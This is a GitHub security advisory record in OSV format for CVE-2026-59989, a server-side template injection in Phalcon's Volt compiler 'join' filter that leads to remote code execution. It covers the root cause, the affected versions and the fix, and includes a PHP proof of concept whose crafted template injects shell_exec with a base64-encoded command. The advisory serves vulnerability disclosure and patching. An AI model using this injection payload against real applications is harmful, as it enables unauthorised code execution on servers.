{"id":"GHSA-hrwp-4hh9-c8r8","summary":"Phalcon Volt compiler `join` filter compile-time PHP code injection (SSTI leads to RCE)","details":"## Summary\n\nThe Volt template compiler in Phalcon generates the PHP for the `join` filter by string-concatenating the filter's **raw template-literal argument bytes** with no escaping. The separator literal is dropped verbatim between two single quotes the compiler emits, and the piped array argument is emitted completely bare. A Volt template whose `join` arguments are attacker-influenced can therefore break out of the generated `join('…')` call and inject arbitrary PHP into the compiled template. Volt writes that compiled template to a cache file and `require()`s it at render time, so the injected PHP executes i.e. compile-time PHP code injection (server-side template injection -\u003e remote code execution) for any application that compiles attacker-controlled Volt source.\n\n## Details \n\n### Root cause\n\n`phalcon/Mvc/View/Engine/Volt/Compiler.zep:2544-2546`:\n\n```zephir\ncase \"join\":\n    return \"join('\" . funcArguments[1][\"expr\"][\"value\"]\n        . \"', \" . funcArguments[0][\"expr\"][\"value\"] . \")\";\n```\n\n`funcArguments[1][\"expr\"][\"value\"]` (the separator) and `funcArguments[0][\"expr\"][\"value\"]` (the piped array) are the **raw values** of the parsed template tokens. Unlike every other expression in the compiler, they are **not** routed through `expression()` and receive no escaping: the separator value is spliced verbatim inside the `join('` … `'` quotes with no neutralisation of `'`, and the array value is emitted with no quoting at all. Volt's scanner stores string-literal bytes verbatim (escape sequences are not decoded), so attacker bytes survive intact into the generated PHP.\n\n**Generated-C ground truth** -\u003e `build/phalcon/phalcon.zep.c` (Phalcon 5.15.0):\n\n```c\nZEPHIR_CONCAT_SVSVS(return_value, \"join('\", &_19$$24, \"', \", &_22$$24, \")\");\n```\n\ni.e. literally `\"join('\" + separator + \"', \" + array + \")\"` with both attacker-controlled fragments unescaped.\n\nThe compiled output is then written to a cache file and `require`d by `Phalcon\\Mvc\\View\\Engine\\Volt::render()`, so any PHP spliced in by the attacker runs at render time.\n\n## PoC \n\n```php\n\u003c?php\nuse Phalcon\\Mvc\\View\\Engine\\Volt\\Compiler;\n\n$cmd = 'id; uname -a; hostname';\n\n$b64 = base64_encode($cmd);\n$tpl = \"{{ ['x'] | join(\\\"',[]); echo shell_exec(base64_decode('$b64')); //\\\") }}\";\n\n$compiled = (new Compiler())-\u003ecompileString($tpl);\n\n$f = tempnam(sys_get_temp_dir(), 'volt') . '.php';\nfile_put_contents($f, $compiled);\ninclude $f;\nunlink($f);\n\n```\n\n\u003cimg width=\"1226\" height=\"386\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4d5da3f4-0bc9-41d9-b741-13c9ea9b08fe\" /\u003e\n\n\n\n\n\n## Impact\n\nWhere an application compiles Volt source that is wholly or partly attacker-controlled, this yields **remote code execution** in the web-server process.","aliases":["CVE-2026-59989"],"modified":"2026-09-11T05:15:04.527936272Z","published":"2026-08-21T20:55:56Z","database_specific":{"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-08-21T20:55:56Z","nvd_published_at":"2026-08-21T21:17:00Z","cwe_ids":["CWE-1336","CWE-94"]},"references":[{"type":"WEB","url":"https://github.com/phalcon/cphalcon/security/advisories/GHSA-hrwp-4hh9-c8r8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59989"},{"type":"WEB","url":"https://github.com/phalcon/cphalcon/pull/17217"},{"type":"WEB","url":"https://github.com/phalcon/cphalcon/commit/e434061be3b7161930476c1368c868badc71e1bd"},{"type":"PACKAGE","url":"https://github.com/phalcon/cphalcon"},{"type":"WEB","url":"https://github.com/phalcon/cphalcon/releases/tag/v5.16.0"}],"affected":[{"package":{"name":"phalcon/cphalcon","ecosystem":"Packagist","purl":"pkg:composer/phalcon/cphalcon"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.16.0"}]}],"versions":["5.10.0","5.12.0","5.9.0","5.9.1","5.9.2","5.9.3","v3.0.0","v3.0.1","v3.0.2","v3.0.3","v3.0.4","v3.1.0","v3.1.0-alpha1","v3.1.0-alpha2","v3.1.1","v3.1.2","v3.2.0","v3.2.1","v3.2.2","v3.2.3","v3.2.4","v3.3.0","v3.3.1","v3.3.2","v3.4.0","v3.4.1","v3.4.2","v3.4.3","v3.4.4","v3.4.5","v4.0.0","v4.0.0-alpha.2","v4.0.0-alpha.3","v4.0.0-alpha.4","v4.0.0-alpha.5","v4.0.0-alpha1","v4.0.0-beta.1","v4.0.0-beta.2","v4.0.0-rc.1","v4.0.0-rc.2","v4.0.0-rc.3","v4.0.1","v4.0.2","v4.0.3","v4.0.4","v4.0.5","v4.0.6","v4.1.0","v4.1.1","v4.1.2","v4.1.3","v5.0.0","v5.0.0-alpha.1","v5.0.0-alpha.2","v5.0.0RC1","v5.0.0RC2","v5.0.0RC3","v5.0.0RC4","v5.0.0alpha3","v5.0.0alpha4","v5.0.0alpha5","v5.0.0alpha6","v5.0.0alpha7","v5.0.0beta1","v5.0.0beta2","v5.0.0beta3","v5.0.1","v5.0.2","v5.0.3","v5.0.4","v5.0.5","v5.1.0","v5.1.1","v5.1.2","v5.1.3","v5.1.4","v5.11.0","v5.11.1","v5.12.1","v5.13.0","v5.14.0","v5.14.1","v5.14.2","v5.15.0","v5.2.0","v5.2.1","v5.2.2","v5.2.3","v5.3.0","v5.3.1","v5.4.0","v5.5.0","v5.6.0","v5.6.1","v5.6.2","v5.7.0","v5.8.0"],"database_specific":{"last_known_affected_version_range":"\u003c= 5.15.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-hrwp-4hh9-c8r8/GHSA-hrwp-4hh9-c8r8.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]}